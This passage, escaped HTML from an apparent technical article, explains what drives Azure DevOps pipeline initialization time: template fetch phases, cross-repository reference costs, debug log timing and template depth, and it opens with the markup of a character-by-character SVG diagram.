style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='276' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='340' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='436' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='484' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='564' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='628' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='724' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='772' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='836' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='900' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='996' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='1076' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='340' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='436' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='628' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='724' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='772' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='900' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='1076' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='1156' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='340' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='484' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='628' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='724' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='900' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='1076' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='1156' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='484' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='724' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='1156' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='724' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='1156' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='436' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='724' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='436' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='436' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='452' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='468' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='724' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='740' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='452' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='468' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='724' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='740' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='452' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='468' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='724' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='740' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='452' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='468' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='724' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='740' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='436' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='452' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='724' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='740' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='468' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='740' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='436' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='452' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='468' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='724' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='740' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='436' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='468' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='724' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='740' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='436' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='452' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='468' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='724' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='740' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='436' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='452' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='468' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='724' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='740' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='436' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='452' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='468' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='740' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='468' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='724' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='436' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='452' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='468' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='724' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='740' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='468' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='724' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='740' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='436' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='452' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='724' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='740' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='452' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='740' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='452' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='740' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='436' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='740' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='436' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='452' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='740' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='436' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='452' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='740' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='452' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='740' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='100' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='436' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='452' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='740' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='452' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='740' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='436' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='740' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='452' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='740' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='436' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='740' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='740' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='740' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='740' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='740' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePhase 1 (Orange):\u003c/strong\u003e This is the \u0026ldquo;sequential fetch\u0026rdquo; phase. Each template is an HTTP request. Cross-repository templates add authentication overhead.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePhase 2 (Blue):\u003c/strong\u003e This is where YAML is \u0026ldquo;unrolled.\u0026rdquo; Large loops and complex if-statements can consume significant CPU and memory.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePhase 3 (Green):\u003c/strong\u003e The final validation and job graph generation. A very large expanded YAML file slows down serialization for the agent.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHealthy pipelines complete all three phases in under 5 seconds. Pipelines in the 10-30 second range warrant investigation. Anything above 60 seconds indicates a structural problem that compounds developer wait time and reduces agent throughput.\u003c/p\u003e\n\u003ch3 id=\"what-each-template-reference-costs\"\u003eWhat Each Template Reference Costs\u003c/h3\u003e\n\u003cp\u003eEach \u003ccode\u003e- template: path/to/file.yml\u003c/code\u003e reference triggers one HTTP request to the repository service. For same-repository templates, this is a local tree lookup. The cost is low but sequential.\u003c/p\u003e\n\u003cp\u003eCross-repository templates are significantly more expensive. A reference like \u003ccode\u003e- template: file.yml@myTemplates\u003c/code\u003e requires:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eA credential resolution step for the repository\u0026rsquo;s service connection.\u003c/li\u003e\n\u003cli\u003eA repository permission check against the calling pipeline\u0026rsquo;s identity.\u003c/li\u003e\n\u003cli\u003eA Git ref resolution to determine the correct commit.\u003c/li\u003e\n\u003cli\u003eA repository API call to fetch the file content.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eReference Type\u003c/th\u003e\n          \u003cth\u003eHTTP Calls\u003c/th\u003e\n          \u003cth\u003eRelative Cost\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSame-repo template\u003c/td\u003e\n          \u003ctd\u003e1 (content fetch)\u003c/td\u003e\n          \u003ctd\u003e1×\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eCross-repo, same organization\u003c/td\u003e\n          \u003ctd\u003e3-4 (auth + ref resolution + content)\u003c/td\u003e\n          \u003ctd\u003e3-5×\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eCross-repo, external organization\u003c/td\u003e\n          \u003ctd\u003e4-6 (OAuth + external auth + ref + content)\u003c/td\u003e\n          \u003ctd\u003e5-10×\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eAzure DevOps caches template files referenced multiple times in a run, but intermediate layers must still be parsed to discover child references.\u003c/p\u003e\n\u003ch3 id=\"reading-initialization-timing-from-the-log\"\u003eReading Initialization Timing from the Log\u003c/h3\u003e\n\u003cp\u003eEnable system diagnostics to expose template evaluation timestamps in the Initialize job log:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esystem.debug\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWith \u003ccode\u003esystem.debug: true\u003c/code\u003e, the Initialize job section shows one \u003ccode\u003e[debug] Evaluating template 'path/file.yml'\u003c/code\u003e entry per fetch. The sequence and timing reveal Phase 1 depth and breadth.\u003c/p\u003e\n\u003cp\u003eThe \u0026ldquo;Expand YAML\u0026rdquo; entry that appears after all template fetches shows Phase 2 duration specifically.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e10:23:00.112  [debug] Evaluating template \u0026#39;templates/stages/build-stage.yml\u0026#39;\n10:23:00.398  [debug] Evaluating template \u0026#39;templates/jobs/build-job.yml\u0026#39;\n10:23:01.089  [debug] Evaluating template \u0026#39;templates/stages/deploy-stage.yml\u0026#39;\n...\n10:23:03.712  Expand YAML: 8.23s\n10:23:11.941  [Start] Task: Checkout\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ePhase 1 cost is the span from the first \u0026ldquo;Evaluating template\u0026rdquo; to the last (3.6 seconds). Phase 2 is the \u0026ldquo;Expand YAML\u0026rdquo; value (8.23 seconds).\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-five-cost-drivers\"\u003eThe Five Cost Drivers\u003c/h2\u003e\n\u003ch3 id=\"cost-driver-1--template-file-count-and-depth\"\u003eCost Driver 1 — Template File Count and Depth\u003c/h3\u003e\n\u003cp\u003eThe number of distinct template files drives Phase 1 cost. Twenty template files mean 20 HTTP round trips. Depth compounds latency because child templates cannot be fetched until the parent is parsed.\u003c/p\u003e\n\u003cp\u003eA 5-level hierarchy where each level references two templates generates up to 31 file fetches (2⁰ + 2¹ + 2² + 2³ + 2⁴ = 31) if there is no file reuse.\u003c/p\u003e\n\u003cp\u003eThe actionable metric: count the \u0026ldquo;Evaluating template\u0026rdquo; entries. Above 15 same-repository files warrants consolidation. Above 30 is a significant bottleneck.\u003c/p\u003e\n\u003ch3 id=\"cost-driver-2--cross-repository-references\"\u003eCost Driver 2 — Cross-Repository References\u003c/h3\u003e\n\u003cp\u003eA centralized \u0026ldquo;golden template\u0026rdquo; repository is standard for enterprise platform teams, but cross-repo references cost 3-5× as much as same-repo references.\u003c/p\u003e\n\u003cp\u003eDynamic template paths block fetch optimization. When a path contains a parameter — \u003ccode\u003e${{ parameters.type }}/deploy.yml\u003c/code\u003e — the service cannot determine the file path until Phase 2 evaluates the expression. This prevents prefetching.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# ANTI-PATTERN: dynamic path forces sequential fetch\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.deploymentType }}/deploy.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 